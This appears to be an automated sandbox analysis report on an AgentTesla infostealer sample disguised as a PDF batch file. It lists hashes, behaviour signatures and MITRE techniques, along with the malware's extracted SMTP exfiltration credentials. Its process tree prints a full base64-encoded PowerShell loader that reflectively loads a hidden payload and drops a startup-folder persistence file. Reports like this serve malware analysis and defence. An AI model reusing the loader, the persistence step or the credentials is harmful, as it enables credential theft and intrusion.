agenttesla | 47e587d1d2153dd7337f6fa9de5e683bb31bef14aa3a6c0339f6fd366eb3d876

Analysis

max time kernel
94s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
04/04/2024, 10:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Product Inquiry for April 2024_Pdf.bat
Size 236KB
Sample240404-mdl5gacc6v
SHA256 25be7ab742bb98008ff78e5579b9b67a4c734af31d521d7abc934666c9ee3683
MD5 9db194ce999ab991f0fb3d2c384499a0
SHA1 1da168fc6ebdcde8dde7dd2d8fc1bc37dfebcef9
SHA512 322f0bacb39b785d371e1cc0deeb9a9e3c1be9fc3ba37ce8c77ba41dea3033a422b882cde9526853dda87182372a04dc2333fd51ebbbc21f3d72318dc65d63a7
SSDEEP 6144:g96Sz61cuUnmldp8X2K7Ne0c0fIzKzUpASxs3HBtjAH1YPh:06y/n+dp8X74Ts3hJFp
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol
smtp
Host
mail.ringhioracing.it
Port
587
Username
[email protected]
Password
roadbook2019

Extracted

Family

agenttesla

Credentials

Protocol
smtp
Host
mail.ringhioracing.it
Port
587
Username
[email protected]
Password
roadbook2019
Email to
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.bat	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.bat	powershell.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
14	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4904 set thread context of 4664	4904	powershell.exe	93

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4536	powershell.exe
4536	powershell.exe
4904	powershell.exe
4904	powershell.exe
4664	RegAsm.exe
4664	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4536	powershell.exe
Token: SeDebugPrivilege	4904	powershell.exe
Token: SeDebugPrivilege	4664	RegAsm.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4580 wrote to memory of 1636	4580	cmd.exe	86
PID 4580 wrote to memory of 1636	4580	cmd.exe	86
PID 1636 wrote to memory of 4536	1636	cmd.exe	88
PID 1636 wrote to memory of 4536	1636	cmd.exe	88
PID 1636 wrote to memory of 4536	1636	cmd.exe	88
PID 1636 wrote to memory of 4904	1636	cmd.exe	92
PID 1636 wrote to memory of 4904	1636	cmd.exe	92
PID 1636 wrote to memory of 4904	1636	cmd.exe	92
PID 4904 wrote to memory of 4664	4904	powershell.exe	93
PID 4904 wrote to memory of 4664	4904	powershell.exe	93
PID 4904 wrote to memory of 4664	4904	powershell.exe	93
PID 4904 wrote to memory of 4664	4904	powershell.exe	93
PID 4904 wrote to memory of 4664	4904	powershell.exe	93
PID 4904 wrote to memory of 4664	4904	powershell.exe	93
PID 4904 wrote to memory of 4664	4904	powershell.exe	93
PID 4904 wrote to memory of 4664	4904	powershell.exe	93

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Product Inquiry for April 2024_Pdf.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Product Inquiry for April 2024_Pdf.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1636
- - C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgImNocm9tZS5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\chrome.ps1' -Encoding UTF8"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4536
- - C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\chrome.ps1"
    3⤵
    - Drops startup file
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4904
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
MD5 4280e36a29fa31c01e4d8b2ba726a0d8
SHA1 c485c2c9ce0a99747b18d899b71dfa9a64dabe32
SHA512 494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 16KB
SHA256 ebb0cd07f061593cd06dcf23f13bf89b3a2ff22ca3ab1bdbabb8c28a690b8178
MD5 1c770cab0627730d4695f621f6cfd535
SHA1 1e2fb0e167d6dae35f09955beea3407175b47f45
SHA512 b6cb8c58fd9fbaa17294b9d94094ad755b9caf8186baf8061911246c17d39f7ac5e70ebd40626683d575dd579b9385a5f2b6c8ff09c65ef7e103a213e23b9555
SSDEEP 384:7rf+ol9i+FldM2jBifGMJo9ZAIT5K6seYoX/v/my3SoZaD3lxCePEt7b9AcDX:vftldpoNaZNT5NjnVSJhA8EtXj
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_spslhnv1.0a0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_spslhnv1.0a0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

chrome.bat

Path C:\Users\Admin\chrome.bat
Size 236KB
SHA256 25be7ab742bb98008ff78e5579b9b67a4c734af31d521d7abc934666c9ee3683
MD5 9db194ce999ab991f0fb3d2c384499a0
SHA1 1da168fc6ebdcde8dde7dd2d8fc1bc37dfebcef9
SHA512 322f0bacb39b785d371e1cc0deeb9a9e3c1be9fc3ba37ce8c77ba41dea3033a422b882cde9526853dda87182372a04dc2333fd51ebbbc21f3d72318dc65d63a7
SSDEEP 6144:g96Sz61cuUnmldp8X2K7Ne0c0fIzKzUpASxs3HBtjAH1YPh:06y/n+dp8X74Ts3hJFp
MD5 SHA1 SHA512 SSDEEP

Submit Download

chrome.ps1

Path C:\Users\Admin\chrome.ps1
Size 1KB
SHA256 f2de0cf19093764f13907b4289bcbf05ada0d84a32b80fac65d8ea70f9ee1cb5
MD5 60199dfba0b2ab770330e7f02a9713bf
SHA1 7a7d31b8f9a179f2fe13b22ff861fae657b350ef
SHA512 e1afaaa3cbb97034f0e29dac5986db14e88e3f07c70db6eeac16d7b04b45d12aadd6c479be94421dc8dad23eac9e5ec6619c418f848628d6c14862acccc88776
MD5 SHA1 SHA512

Submit Download

memory/4536-27-0x0000000074570000-0x0000000074D20000-memory.dmp

Download

memory/4536-22-0x0000000007E30000-0x00000000084AA000-memory.dmp

Download

memory/4536-9-0x0000000005FA0000-0x0000000006006000-memory.dmp

Download

memory/4536-7-0x0000000005730000-0x0000000005752000-memory.dmp

Download

memory/4536-19-0x0000000006060000-0x00000000063B4000-memory.dmp

Download

memory/4536-20-0x0000000006500000-0x000000000651E000-memory.dmp

Download

memory/4536-21-0x00000000065A0000-0x00000000065EC000-memory.dmp

Download

memory/4536-6-0x0000000005970000-0x0000000005F98000-memory.dmp

Download

memory/4536-23-0x0000000006A30000-0x0000000006A4A000-memory.dmp

Download

memory/4536-2-0x0000000003150000-0x0000000003186000-memory.dmp

Download

memory/4536-5-0x0000000005330000-0x0000000005340000-memory.dmp

Download

memory/4536-8-0x00000000057D0000-0x0000000005836000-memory.dmp

Download

memory/4536-4-0x0000000005330000-0x0000000005340000-memory.dmp

Download

memory/4536-3-0x0000000074570000-0x0000000074D20000-memory.dmp

Download

memory/4664-61-0x0000000005130000-0x0000000005140000-memory.dmp

Download

memory/4664-60-0x0000000074570000-0x0000000074D20000-memory.dmp

Download

memory/4664-59-0x00000000063F0000-0x00000000063FA000-memory.dmp

Download

memory/4664-58-0x0000000006420000-0x00000000064BC000-memory.dmp

Download

memory/4664-57-0x0000000006330000-0x0000000006380000-memory.dmp

Download

memory/4664-51-0x0000000000400000-0x0000000000442000-memory.dmp

Download

memory/4664-56-0x0000000006290000-0x0000000006322000-memory.dmp

Download

memory/4664-54-0x0000000005130000-0x0000000005140000-memory.dmp

Download

memory/4664-53-0x0000000074570000-0x0000000074D20000-memory.dmp

Download

memory/4904-40-0x0000000005670000-0x00000000059C4000-memory.dmp

Download

memory/4904-50-0x0000000076F91000-0x00000000770B1000-memory.dmp

Download

memory/4904-49-0x0000000004AF0000-0x0000000004AFA000-memory.dmp

Download

memory/4904-55-0x0000000074570000-0x0000000074D20000-memory.dmp

Download

memory/4904-47-0x0000000005A20000-0x0000000005A92000-memory.dmp

Download

memory/4904-45-0x0000000007510000-0x0000000007AB4000-memory.dmp

Download

memory/4904-44-0x0000000006BA0000-0x0000000006BC2000-memory.dmp

Download

memory/4904-43-0x0000000006C10000-0x0000000006CA6000-memory.dmp

Download

memory/4904-30-0x00000000047C0000-0x00000000047D0000-memory.dmp

Download

memory/4904-29-0x0000000074570000-0x0000000074D20000-memory.dmp

Download